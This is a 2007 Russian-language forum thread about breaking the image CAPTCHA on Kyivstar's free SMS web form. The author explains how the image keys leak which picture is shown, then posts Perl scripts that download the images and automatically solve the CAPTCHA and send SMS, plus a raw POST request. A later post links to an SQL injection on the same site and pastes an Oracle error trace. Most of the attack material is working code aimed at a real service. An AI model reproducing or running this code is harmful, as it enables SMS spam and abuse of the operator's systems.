PDA

Просмотр полной версии : kyivstar CAPTHA III(полное разоблачение)


demonoid
05.08.2007, 04:22
kyivstar CAPTCHA III(полное разоблачение)
Предыстория



2 августа была изменена система защиты( CAPTCHA ).
3 августа , мною был найден баг подробней тут _https://forum.antichat.ru/thread44779.html.
4 августа ошибки уже были исправлены ( оперативно ).
4 августа ( вечером ) изучения "переделанной" capth'и ,были изчерпаными :) .

История изучения

Зайдя на _www.kyivstar.net/sms/ система предложила мне указать "Номер телефону" ,выбрать "Набір символів" и написать "Текст повідомлення".
Открыл сорс начал бегать глазами и нашел интересный момент (указан отредактированный фрагмент кода)

.....
<p class="header">
Для того, щоб надіслати SMS,<br/>
вкажіть 2 картинки живої природи.
image-number="1" ...<img src="22B547867D97629D9627ADCAEE246F22e475e353f082678331"...
image-number="2" ...<img src="A1D42D05FC982AA3E1C053382C9D2229e475e353f082678341"...
...<img src="8A8EC206ACC445084C34B086F01204D8e475e353f082678355"...
....="BE6601BE804C5DCCF633B94C0515E09Ee475e353f082678364"...
....="4A4DF8EC973931AC92B8D7CBA7159B79e475e353f082678337"...
....="2C97C4C704D8B66185188A829CE8E97Ce475e353f082678362"...
....="C30FDBB169DBAFC401D22424B32CF698e475e353f082678335"...
....."DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327"...
....."847B9DF288414004D499840CE1555CDFe475e353f082678342"...
</div>
......

Когда я введу номер и сообщение , система мне скажет укажи 2-е картинки живой природы.
Зайдя по ссылке www.kyivstar.net/_sms/22B547867D97629D9627ADCAEE246F22e475e353f082678331
Система показала мне картину ,это была живая природа! Ай думаю "2 картинки" 1-ну уже нашел пойду вторую найду..
Перебирая нашел вот она "DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327".Позже начал всматриваться во все картинки ( а вернее в их ключ ),
уж больно они похожи были , логически разбил их части , вот что у меня вышло

1_img:"22B547867D97629D9627ADCAEE246F22" "e475e353f0826783" "31" ( живая природа )
2_img:"A1D42D05FC982AA3E1C053382C9D2229" "e475e353f0826783" "41"
3_img:"8A8EC206ACC445084C34B086F01204D8" "e475e353f0826783" "55"
4_img:"BE6601BE804C5DCCF633B94C0515E09E" "e475e353f0826783" "64"
5_img:"4A4DF8EC973931AC92B8D7CBA7159B79" "e475e353f0826783" "37"
6_img:"2C97C4C704D8B66185188A829CE8E97C" "e475e353f0826783" "62"
7_img:"C30FDBB169DBAFC401D22424B32CF698" "e475e353f0826783" "35"
8_img:"DD3E31B6944D54737A851A6C66B8BB17" "e475e353f0826783" "27" ( живая природа )
9_img:"847B9DF288414004D499840CE1555CDF" "e475e353f0826783" "42"

Красиво разбились неправда-ли ? :)
После маленький модификаций ключа ( всего целиком ) , пришел к выводу:

-первый ключ длинной 32 это позиция звёздочки на картинке ( длинна константа )
-следующие цифры ( это константа текущего соединения) ( длина не постоянна )
-последние две цифры , это картинка ("природа" или "не природа")

Как я пришел к выводу , что последние две цифры это картинка ?.
Просто когда я глумился на ключём ( хаотично менял последние цифры ) менялась суть картинки ,
но когда я поменял последние 2 цифры на "01" ( пример ключа: "847B9DF288414004D499840CE1555CDFe475e353f082678301" ) ,
выскочила ошибка:


Warning: imagecreatefromjpeg(/var/www.kyivstar.net/www/i/sms_images/01.jpg) [function.imagecreatefromjpeg]: failed to open stream: No such file or directory in /var/www.kyivstar.net/www/_sms/_image.php on line 12
Warning: imagealphablending(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 14
Warning: imagesx(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 35
Warning: imagesy(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 36
...........

Опа! последние две цифры это картинка , в ошибке это чётко видно - система не может найти фай "01.jpg".
Решил составить свою базу картинок .Но не перебирать же мне руками значения от 0 до 99
Написал скрипт скачки картинок :

#!/usr/bin/perl
use LWP::UserAgent;
use strict;

print "\t\tks_exemple.pl ~ / Kyivstar Image downloader /\n".
"\t\t\tby demonoid 212-905-288\n".
"\t\tspecical for forum.antichat.ru / 04.08.2007 /\n\n";

my $path = "C:/img/";
my $errfile = "error_img.log";
my $gdfile = "good_img.log";
my $img;

open(ERR_FILE,">>$path$errfile") || exit print "[-]Cant open $errfile\n";
open(GD_FILE, ">>$path$gdfile") || exit print "[-]Cant open $gdfile\n";

my $ua = LWP::UserAgent -> new;
for(0..99)
{
$img="http://www.kyivstar.net/i/sms_images/$_.jpg";
my $resp=$ua -> get("$img", ':content_file' => "$path$_.jpg");
if( $resp->status_line =~/404/ ) { print ERR_FILE "$_.jpg\n"; }
else { print GD_FILE "$_.jpg\n"; }

}

print "Look file:\n".
"~~~~~~~~~~~\n".
"[-]Not Found image -> $errfile\n".
"[+] Found image -> $gdfile\n";

close ERR_FILE;
close GD_FILE;

Смотрим какие картинки удачно скачаны в "good_img.log" всего там 36 штук.
Теперь глазками визуально смотрим на эти картинки в этой же папке, и одновременно пущем базу "природа"

ПРИРОДА(17) 24,25,26,27,29,30,31,34,48,54,58,59,60,61,65,66,67
НЕПРИРОДА(19) 32,33,35,37,39,41,42,45,46,47,49,50,51,53,55,56,62 ,63,64

Теперь мы можем научить наш скрипт распознавать природу неприроду т.к база уже есть.


Второй интересный момент( отредактированный код ):

.....
<input type="hidden" name="code" id="code_1" value="1186249808" />
<input type="hidden" name="code" id="code_2" value="96342973" />
..... id="code_3" value="FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56E1486 0F6BC6D30796DB068725D087616963650BCCB941B74C479590 4E6CCC3F8D63" />
..... id="code_4" value="" />
......id="code_2" value="102984129" />
......id="code_4" value="6B233ABC50FC6E19941920F7C6C50DDC" />
..... id="code_4" value="94D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E92" />
......id="code_4" value="BDFB6030FF0BAF0D" />
.......

как я понял это вспомогательные ключи для рандома звёздочки и природы ( глубоко изучать их не будем т.к. они не несут важной информации , мы их просто вставим в пакет )

пример пакета:

POST /_sms/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-icq, */*
Referer: http://www.kyivstar.net/_sms/?lang=ua
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: www.kyivstar.net
Content-Length: 365
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: countSms=0; isUserLogined=false; messageID=20070804193602.08D77B%40messenger; countSms=18; messageID=20070803183306.462EA7%40messenger; isUserLogined=false

submitted=true
&lang=ua
&sms_adv=3
&mobcode=097
&number=XXXXXXX
&lat=1
&message=polo
&code=1186249808
&code=96342973
&code=FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56 E14860F6BC6D30796DB068725D087616963650BCCB941B74C4 795904E6CCC3F8D63
&code=0108
&code=102984129
&code=6B233ABC50FC6E19941920F7C6C50DDC
&code=4D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E 92
&code=BDFB6030FF0BAF0D

всё ясно всё значение code берём из вспомогательных ключей , кроме code=0108 , это как можно было догадаться позиции картинки смотрим выше

1_img:"22B547867D97629D9627ADCAEE246F22" "e475e353f0826783" "31" ( живая природа )
8_img:"DD3E31B6944D54737A851A6C66B8BB17" "e475e353f0826783" "27" ( живая природа )

1-я и 8-я картинка вот и вышло "0108"

Дальше я хотел написать пример отправки сообщения , но понимаю что всё это обратиться в спам :) , поэтому не буду выкладывать примеры ,
и так выложил много пищи для ума.

Важно :
1-Материал исключительно в ознакомительных целях!
2-Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.

vvs777
05.08.2007, 05:57
Вообщем очередной антиспам-защите пришел белый и пушистый.
Первая "картинка" от КС (с кукой :)) была несколько лет. Вторая - месяц.
С момента введения третьей до ее взлома прошло примерно 4-6 часов.
В тот же день тот баг пофиксили.
На следующий день (т.е сегодня) всю систему вскрыли с потрохами :)
Что же будет дальше?

- я взломаю эту систему за 5 минут
- а я за 3
- взламывай...

Вообщем угадай мело... тьфу. систему получается.

Это очередной раз доказывает то что нет ничего что нельзя взломать. Вопрос только в наличии желания и свободного времени.

Новый респект demonoid'у.
Расшифровать код не всегда просто.

Я еще опять собирался решить задачу "влоб" - думал организовать распознавание картинки по размеру файла (ибо это не бмп где все равны) но это дело не пошло т.к. заездочка все портит. Размер имеет большой среднестатистический разброс и перекрывается с размерами других картинок....

inv
05.08.2007, 06:01
Это очередной раз доказывает то что нет ничего что нельзя взломать. Вопрос только в наличии желания и свободного времени.

Это вообще ничего не доказывает: )Ну может только неродивость авторов скрипта.

demonoid
05.08.2007, 06:08
Немного об авторах
Lebedev Studio
Студия Артемия Лебедева _http://www.artlebedev.ru

//http://kyivstar.net/_sms/x_forms_with_code.js

Knight_of_Darkness
06.08.2007, 00:42
А теперь что? Пофиксят и эту? Как же они пофиксили ту? Или админы КС тусят на античате, или им кто-то настучал с АНТИЧАТА. Или юзают гугл. Что же дальше будет-то?

vvs777
06.08.2007, 03:58
Дальше будет или открытие следующего бага или конец света.
Одно из двух имхо. Причем второе менее вероятно :)

demonoid
08.08.2007, 20:42
Пофиксили , пример отправки был такой:


#!/usr/bin/perl

use LWP::UserAgent;
use strict;
use warnings;

print q(
--------------------------------------
| | - | + | x |
--------------------------------------
| specical for antichat.ru _______ |
| ------------------------- | ||
| icq:212-905-288 | ? ||
| ------------------------- |_______||
-------------------------------------- );

my $ua = LWP::UserAgent->new;
my $url = 'http://www.kyivstar.net/_sms/';

my @good_img = ( '22','24','25','26','27','29','30',
'31','34','48','54','58','59',
'60','61','65','66','67' );

my ( $count ,$i ,$len_c ,$code_4,$k,$curr_n_img );
my ( @n_img,@img_code,@con_code);



my $request = HTTP::Request->new(GET => $url);
my $response = $ua->request($request);
my $res = $response->content;
#print $res;
@img_code = ( $res =~ m/<img src="(\w+)"/gi);
@con_code = ( $res =~ m/<input type="hidden" name="code" id="code_(\d+)" value="(\w+)"/gi);


for(0..8)
{
$i++;
$len_c = length($img_code[$_]);
$n_img[$i] = substr($img_code[$_],$len_c-2,2);
#print "$i| $img_code[$_] = $n_img[$i]\n";
}



for(0..8)
{
$k++;
$curr_n_img = $n_img[$k];
for(0..17)
{
if( $curr_n_img == $good_img[$_] )
{
#print "[$k] $curr_n_img\n";
$code_4.="0$k";
}
}
}
$con_code[4]=$code_4; #check
send_function(@con_code);




#----------------------------------
sub send_function
{
#exit;
my @code=@_;
my $browser = LWP::UserAgent->new;
$browser->agent('New captcha v3.0');
#$browser->proxy(['http'] => 'http://218.223.221.217:8080/');

my $mob_code = "097";
my $mob_number = "XXXXXXX";
my $messenge = "hello_antichat.ru";


printf "\n\n\t[+]Send %s-%s \n\tmessage: \<<%s\>> \n",
$mob_code,$mob_number,$messenge ;

my $url="http://kyivstar.net/_sms/";
my $response = $browser->post($url,
["submitted" => "true",
"lang" => "ua",
"sms_adv" => "101",
"mobcode" => $mob_code,
"number" => $mob_number,
"lat" => 1,
"message" => $messenge,
"code" => $code[1],
"code" => $code[3],
"code" => $code[5],
"code" => $code[4],#check
"code" => $code[7],
"code" => $code[9],
"code" => $code[11],
"code" => $code[13]],
"Content-Type" => "application/x-www-form-urlencoded",
"Referer" => "http://kyivstar.net/_sms/",
"Connection" => "Keep-Alive",
"Cache-Control"=> "no-cache");
my $status= $response->as_string();
( $status =~/messageID/g )?print "[+] Good send\n":print "[-] Not send!";


}

_Great_
09.08.2007, 16:42
Опа! последние два бита это картинка , в ошибке это чётко видно
Биты это двоичные биты, а это не биты, а цифры )

nerezus
09.08.2007, 19:47
Это вообще ничего не доказывает: )Ну может только неродивость авторов скрипта. +1.
Криворукий писака сделал капчу.

demonoid
09.08.2007, 21:02
Биты это двоичные биты, а это не биты, а цифры )
Вот это я чушь написал , спасибо сейчас отредактирую.

inlanger
28.08.2007, 15:38
И как теперь єто в рабочий скрипт организовать?

madwat
07.09.2007, 22:01
А теперь что? Пофиксят и эту? Как же они пофиксили ту? Или админы КС тусят на античате, или им кто-то настучал с АНТИЧАТА. Или юзают гугл. Что же дальше будет-то?
Уже пофиксили (новым багом) :D , но на публику выносить нельзя потому что, ты прав. ;)

Micr0b
08.09.2007, 11:20
когдато нашол скуль))) на етом сайте, и много багом, и тоже писал флудер)))
смотрите на
принскрин) (http://www.utech.in.ua/kyivstar/inj.png)
вот ищо баги
http://www.utech.in.ua/kyivstar/1.htm
http://www.utech.in.ua/kyivstar/2.htm

Unhandled Exception (Debug)
ORA-00933: SQL command not properly ended
(execute, -1)
SELECT vacancy.vacancy_id, vacancy.category_id, vacancy.vacancy_id as id, vacancy.is_published, vacancy_category_text.name as category_name, vacancy_text.post, vacancy_text.speciality, vacancy_text.functions, vacancy_text.requirement, vacancy_text.additional, vacancy.city_id, city_text.name as city_name FROM vacancy, vacancy_text, vacancy_category, vacancy_category_text, city_text WHERE vacancy_category.category_id=vacancy.category_id AND vacancy_category.category_id=vacancy_category_text .category_id AND vacancy_category.is_published=1 AND vacancy.is_published=1 AND vacancy_category_text.lang_id = 2 AND vacancy_text.vacancy_id = vacancy.vacancy_id AND vacancy_text.lang_id = 2 AND city_text.city_id = vacancy.city_id AND city_text.lang_id = 2 AND vacancy.vacancy_id = 26' ORDER BY vacancy.sort_order, city_text.name

/var/www.kyivstar.net/www//../data/classes/sql.p(139)
exception.type=sql.execute
--------------------------------------------------------------------------------
sql /var/www.kyivstar.net/www//../data/classes/sql.p(139)
jSql /var/www.kyivstar.net/www//../data/classes/sql.p(275)
jSql /var/www.kyivstar.net/www//../data/classes/sql.p(284)
if /var/www.kyivstar.net/www//../data/classes/sql.p(284)
_execute /var/www.kyivstar.net/www//../data/classes/sql.p(275)
if /var/www.kyivstar.net/www//../data/classes/sql.p(256)
_sql /var/www.kyivstar.net/www//../data/classes/sql.p(139)
jBody /var/www.kyivstar.net/www//../data/classes/sql.p(246)
code /var/www.kyivstar.net/www//../data/classes/common/lib.p(361)
if /var/www.kyivstar.net/www//../data/classes/common/lib.p(333)
run_time /var/www.kyivstar.net/www//../data/classes/sql.p(246)
_measure /var/www.kyivstar.net/www//../data/classes/sql.p(138)
table /var/www.kyivstar.net/www//../data/processes/vacancy.bp(11)
showVacancy /var/www.kyivstar.net/www//../data/processes/vacancy.bp(4)
if /var/www.kyivstar.net/www//../data/processes/vacancy.bp(3)
main /var/www.kyivstar.net/www//../data/classes/engine.p(2284)
trim /var/www.kyivstar.net/www//../data/classes/engine.p(2284)
rem /var/www.kyivstar.net/www//../data/classes/engine.p(2284)
if /var/www.kyivstar.net/www//../data/classes/engine.p(2282)
executeProcess /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(111)
parseBlockPostProcess /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(111)
parseBlock_data /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(111)
if /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(107)
if /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(99)
if /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(98)
menu /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(97)
processBlocks /var/www.kyivstar.net/www//../data/classes/engine.p(1513)
parseBlockPostProcess /var/www.kyivstar.net/www//../data/classes/engine.p(1513)
sort /var/www.kyivstar.net/www//../data/classes/engine.p(1513)
if /var/www.kyivstar.net/www//../data/classes/engine.p(1511)
if /var/www.kyivstar.net/www//../data/classes/engine.p(1504)
executeBlocks /var/www.kyivstar.net/www//../data/classes/engine.p(1821)
data /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(53)
pagePreProcess /var/www.kyivstar.net/www//../data/classes/engine.p(1819)
defaultPage /var/www.kyivstar.net/www//../data/processes/common.pp(2)
main /var/www.kyivstar.net/www//../data/classes/engine.p(2284)
trim /var/www.kyivstar.net/www//../data/classes/engine.p(2284)
rem /var/www.kyivstar.net/www//../data/classes/engine.p(2284)
if /var/www.kyivstar.net/www//../data/classes/engine.p(2282)
executeProcess /var/www.kyivstar.net/www//../data/classes/engine.p(1454)
if /var/www.kyivstar.net/www//../data/classes/engine.p(1453)
generatePage /var/www.kyivstar.net/www//../data/classes/engine.p(1398)
_content /var/www.kyivstar.net/www//../data/classes/engine.p(1419)
if /var/www.kyivstar.net/www//../data/classes/engine.p(1410)
if /var/www.kyivstar.net/www//../data/classes/engine.p(1394)
if /var/www.kyivstar.net/www//../data/classes/engine.p(1393)
execute /var/www.kyivstar.net/www/_doc.html(106)
object /var/www.kyivstar.net/www/_doc.html(105)
jBody /var/www.kyivstar.net/www//../data/classes/oracle.p(40)
jBody /var/www.kyivstar.net/www//../data/classes/sql.p(76)
connect /var/www.kyivstar.net/www//../data/classes/sql.p(76)
inc /var/www.kyivstar.net/www//../data/classes/sql.p(76)
server /var/www.kyivstar.net/www//../data/classes/oracle.p(35)
server /var/www.kyivstar.net/www/_doc.html(96)
jBody /var/www.kyivstar.net/www//../data/classes/cachepage.p(53)
trim /var/www.kyivstar.net/www//../data/classes/cachepage.p(53)
cache /var/www.kyivstar.net/www//../data/classes/cachepage.p(51)
run /var/www.kyivstar.net/www/_doc.html(94)

FaR-G9
09.09.2007, 18:41
Хреново, что пофиксали

halkfild
09.09.2007, 18:51
я когда-то я письма где-то по 5 штук в каждом им отправлял.. типо у вас на сайте уязвимость.. в ответ спасибо за внимание(

но там есть то что надо :)